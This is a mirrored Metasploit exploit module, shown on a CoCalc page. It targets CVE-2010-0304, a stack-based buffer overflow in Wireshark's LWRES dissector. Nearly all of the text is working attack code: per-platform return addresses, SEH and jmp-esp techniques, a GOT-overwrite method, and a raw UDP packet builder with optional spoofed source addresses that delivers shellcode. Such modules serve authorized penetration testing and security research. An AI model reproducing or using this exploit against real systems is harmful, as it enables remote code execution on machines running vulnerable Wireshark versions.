Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
18
'Description' => %q{
19
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
20
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
21
overflow. This bug found and reported by babi.
22
23
This particular exploit targets the dissect_getaddrsbyname_request function. Several
24
other functions also contain potentially exploitable stack-based buffer overflows.
25
26
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
27
exploitation via the return address on the stack. Sending a larger string allows
28
exploitation using the SEH bypass method. However, this packet will usually get
29
fragmented, which may cause additional complications.
30
31
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
32
If the packet is fragmented, all fragments must be captured and reassembled to
33
exploit this issue.
34
},
35
'Author' => [
36
'babi', # original discovery/exploit
37
'jduck', # ported from public exploit
38
'redsand' # windows target/testing
39
],
40
'License' => MSF_LICENSE,
41
'References' => [
42
[ 'CVE', '2010-0304' ],
43
[ 'OSVDB', '61987' ],
44
[ 'BID', '37985' ],
45
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
46
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
47
],
48
'DefaultOptions' => {
49
'EXITFUNC' => 'process',
50
},
51
'Privileged' => true, # at least capture privilege
52
'Payload' => {
53
'Space' => 512,
54
'BadChars' => "\x00",
55
'DisableNops' => true,
56
},
57
'Platform' => %w{linux osx win},
58
'Targets' => [
59
[
60
'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
61
# breakpoint: lwres.so + 0x2ce2
62
{
63
'Arch' => ARCH_X86,
64
'Platform' => 'linux',
65
# conveniently, edx pointed at our string..
66
# and so, we write it to g_slist_append's GOT entry just before its called.
67
# pwnt.
68
#
69
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
70
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
71
#
72
'Ret' => 0x804fc85, # see above..
73
'RetOff' => 376,
74
'Readable' => 0x804fa04, # just anything
75
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
76
}
77
],
78
[
79
'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
80
{
81
'Arch' => ARCH_X86,
82
'Platform' => 'linux',
83
# the method for tshark doesn't work, since there aren't any convenient
84
# pointers lying around (in reg/close on stack)
85
#
86
# since the wireshark bin has a jmp esp, we'll just use that method..
87
'Ret' => 0x818fce8, # jmp esp in wireshark bin
88
'RetOff' => 376,
89
'Readable' => 0x8066a40, # just any old readable addr (unused)
90
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
91
}
92
],
93
94
[
95
'wireshark 1.2.5 on RHEL 5.4 (x64)',
96
{
97
'Arch' => ARCH_X64,
98
'Platform' => 'linux',
99
'Ret' => 0xfeedfed5deadbeef,
100
'RetOff' => 152,
101
}
102
],
103
104
[
105
'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
106
{
107
'Arch' => ARCH_X86,
108
'Platform' => 'osx',
109
'Ret' => 0xdeadbeef,
110
'RetOff' => 268,
111
}
112
],
113
114
# The following target was tested against Windows XP SP3 and Windows Vista
115
[
116
'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
117
{
118
'Arch' => ARCH_X86,
119
'Platform' => 'win',
120
# NOTE: due to the length of this packet, your mileage may vary.
121
'Ret' => 0x61B4121B,
122
# 0x655810b6 = pop/pop/ret in libpango
123
# 0x02A110B6 = pop/pop/ret in libgtk-w
124
# 0x03D710CC = pop/mov/pop/ret in packet
125
# 0x61B4121B = pop/pop/ret in pcre3
126
'RetOff' => 2128,
127
}
128
],
129
],
130
'DisclosureDate' => '2010-01-27',
131
'Notes' => {
132
'Reliability' => UNKNOWN_RELIABILITY,
133
'Stability' => UNKNOWN_STABILITY,
134
'SideEffects' => UNKNOWN_SIDE_EFFECTS
135
}
136
)
137
)
138
139
register_options([
140
Opt::RPORT(921),
141
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
142
])
143
144
deregister_options('FILTER', 'PCAPFILE')
145
end
146
147
def exploit
148
check_pcaprub_loaded # Check first
149
150
ret_offset = target['RetOff']
151
152
# we have different techniques depending on the target
153
if (target == targets[0])
154
# debian tshark
155
str = make_nops(ret_offset - payload.encoded.length - 16)
156
str << payload.encoded
157
str << [target['GotAddr'] - 0xc].pack('V')
158
str << rand_text(4)
159
str << [target['Readable']].pack('V')
160
str << rand_text(4)
161
# ret is next
162
elsif (target == targets[1])
163
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
164
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
165
str << fix_esp
166
str << payload.encoded
167
# jmp esp...
168
str << [target.ret].pack('V')
169
# jump back
170
distance = ret_offset + 4
171
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
172
elsif (target == targets[2])
173
str = Rex::Text.pattern_create(ret_offset - 8)
174
str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)
175
elsif (target == targets[4])
176
# ugh, /GS and UDP length issues :-/
177
str = make_nops(ret_offset - payload.encoded.length)
178
str << payload.encoded
179
str << generate_seh_record(target.ret)
180
# jump back
181
distance = ret_offset + 8
182
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
183
else
184
# this is just a simple DoS payload
185
str = Rex::Text.pattern_create(ret_offset)
186
# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
187
end
188
189
# add return address
190
str << Rex::Arch.pack_addr(target.arch, target.ret)
191
192
# form the packet's payload!
193
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
194
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
195
sploit << "\x00\x00\x00\x01"
196
sploit << [str.length].pack('n')
197
sploit << str
198
sploit << "\x00\x00"
199
200
shost = datastore['SHOST']
201
if (shost)
202
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
203
open_pcap
204
205
p = PacketFu::UDPPacket.new
206
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
207
p.ip_daddr = rhost
208
p.udp_sport = rand((2**16) - 1024) + 1024
209
p.udp_dport = datastore['RPORT'].to_i
210
p.payload = sploit
211
p.recalc
212
213
sent = capture_sendto(p, rhost)
214
close_pcap
215
216
handler if sent
217
else
218
print_status("Sending malformed LWRES packet to #{rhost}")
219
connect_udp
220
udp_sock.put(sploit)
221
222
handler
223
disconnect_udp
224
end
225
end
226
end
227
228